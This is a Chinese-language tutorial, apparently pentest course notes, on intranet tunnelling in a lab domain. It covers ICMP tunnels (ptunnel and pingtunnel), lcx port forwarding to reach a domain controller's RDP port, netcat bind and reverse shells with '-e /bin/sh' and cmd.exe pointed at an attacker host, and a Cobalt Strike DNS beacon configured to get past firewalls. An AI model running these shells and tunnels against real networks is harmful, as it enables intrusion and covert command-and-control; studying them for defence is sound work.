当前位置:   article > 正文

内网安全-隧道技术_linux 攻击的隧道有哪些

linux 攻击的隧道有哪些

常用的隧道技术有以下三种:

网络层:IPV6隧道、ICMP隧道

传输层:TCP、UDP、端口转发

应用层:SSH、HTTP/S隧道、DNS隧道

网络传输应用层检测连接通信-检测

1.TCP协议

    用瑞士军刀-netcat

    执行nc命令:nc<IP> <端口>

2.HTTP协议

    用“curl”工具,执行curl<IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

3.ICMP协议

    用"ping"命令,执行ping <IP地址/域名>

4.DNS协议

    检测DNS连通性常用的命令是"nslookup"和"dig"

    nslookup是Windows自带的DNS探测命令

    dig是Linux系统自带的DNS探测命令

案例二,网络层ICMP隧道ptunnel(老工具,可以使用新的)使用-检测,利用

#内网隧道工具介绍

---网上介绍的大部分都是老牌工具,ptunnel工具几年前就没有更新了,不推荐使用。(而且需要自行编译)

---老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)

---推荐pingtunnel,这个是一直在升级更新的一个工具。

---新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)

 #pingtunnel隧道工具介绍

---pingtunnel是把tcp/udp/sock5流量伪装icmp流量进行转发的工具

---为什么要转换?因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输!

前期要将工具上传至Target2,在webserver上允许程序运行

---现在我要实现请求连接DC(target3)的3389端口:先通过hackerxiaodi连接webserver(target2)的外网接口192.168.76.150,然后借助33网卡连接DC(用target3代替,因为开了3389端口)的33.33

./ptunnel -p 192.168.88.128 -lp 1080 -da 192.168.33.129 -dp 3389 -x xiaodi

---在kali上执行以下命令,将webserver(192.168.88.128)作为跳板,转发目标主机(192.168.33.129)3389请求数据给本地1080端口

---上面命令的意思是kail请求目标服务器192.168.88.128(webserver)

---请求到之后,kail自己监听一下本地的1080

---然后将33.129的3389数据,给到kail自己本地的1080。

---然后下一步就直接利用rdesktop连接本地的1080,实质就是连接33.33。

---查看靶机3389端口和远程访问设置

--新建会话,连接自己本地的1080端口

rdesktop 127.0.0.1:1080

传输层转发隧道 Portmap 使用-检测,利用

端口转发,环境是域环境

Windows:lcx

---下载:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o(github上的没有了)

Linux:portmp

lcx -slave 攻击IP3131 127.0.0.1 3389 //将本地3389给攻击IP的3131

lcx -listen 3131 3333//监听3131转发至3333

在DC上执行以下命令,将本地3389给webserver的6666

lcx -slave 192.168.3.31 6666 127.0.0.1 3389

---在webserver上执行以下命令,监听6666端口(DC给的3389)流量并转发至7777:

lcx -listen 6666 7777

---通过kail去连接域Web的7777端口(连接nat的网卡)

rdesktop 192.168.186.128:7777

案例4-传输层转发隧道Netcat使用-检测,利用,功能

---netcat工具是windows和linux都能利用,但是用的时候一定要确保nc是最新版,linux是自带这个命令,老版本有的不支持-e这个选项,很多功能会有限制。

---netcat称为瑞士军刀的原因就是它利用起来非常方便,反弹会话是有很多方式的,可以利用多种协议去实现控制,因为我们在实战过程中会有很多协议被封住被拦截,所以我们要掌握很多种控制的协议,实战中就不会掉链子!

---netcat使用的是TCP协议,所以如果受害主机没有过滤TCP协议,我们就可以尝试使用nc命令在传输层建立隧道连接实现与控制主机的通信。

1.双向连接反弹shell

    正向:攻击连接受害

    受害:nc -ldp 1234 -e /bin/sh                                               //linux

    nc -ldp 1234 -e c:\windows\system32\cmd.exe             //windows

    攻击:nc 192.168.76.132 1234                                            //主动连接

反向:

受害连接攻击攻击:nc -lvp 1234

受害:nc 攻击主机IP 1234 -e /bin/shnc

攻击主机IP 1234 -e c:\windows\system32\cmd.exe

2.多向连接反弹shell-配合转发

#总结

---优点:方便,体积小,功能多

---缺点:只能反弹cmd,shell等,没有图形化界面,没有提权等功能

案例5-应用层DNS隧道配合CS上线-检测,利用,说明

---当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀(监听器就是隧道的意思)

---应用层是在实战中经常用到的,之前两个层面会经常被防火墙拦截(网络/传输层),下面用DNS隧道来实现 cs上线。

----登陆cobaltstrike,cs的监听器对应着后门绑定的协议。

---常规是用http上线,dns比http速度要慢。当常见协议监听器被拦截时(比如拦截HTTP或者TCP协议),可以换其他协议上线,其中dns协议上线基本通杀。

---因为dns是域名解析,这个协议一般都不会被拦截,数据通过dns协议给出去,一般也不会被拦截!

1.云主机Teamserver配置端口53启用-udp

2.买一个域名修改解析记录如下:

    A记录-cs主机名-cs服务器ip

    NS记录-ns1主机名-上个A记录地址

    NS记录-ns2主机名-上个A记录地址

>

3.配置DNS监听器内容如下:

    ns1.xiaodi8.com

    ns2.xiaodi8.com

    cs.xiaodi8.com

4.生成后⻔执行上线后启用命令:

#生成后门执行上线后启用命令(dns需要执行命令才能进行控制):

beacon> checkin(使beacon强制回连一次)

[*] Tasked beacon to checkin

beacon> mode dns-txt(设置数据通道模式,使用dns TXT记录的数据通道)

---执行完mode dns-txt后等待1分钟左右,电脑图标变为蓝色

Becon> shell whoami

#总结

---利用webshell在靶机上传cmd或者shell后门,但是靶机对tcp/HTTP等协议有防护拦截,无论是正向还是反向连接都不行

---隧道的作用就是伪装协议,将原本的shell(TCP)加报头进行封装,通过靶机拦截后,再去连接

---1.网络层(ICMP):利用pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具;

---2.传输层(TCP): 传输层转发隧道 Portmap(Linux),lcx(windows),Netcat(windows和Linux通用)使用-检测,利用

---3. 应用层 DNS 隧道配合 CS (集成隧道,可以切换不同的协议)上线

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/949139
推荐阅读
相关标签
  

闽ICP备14008679号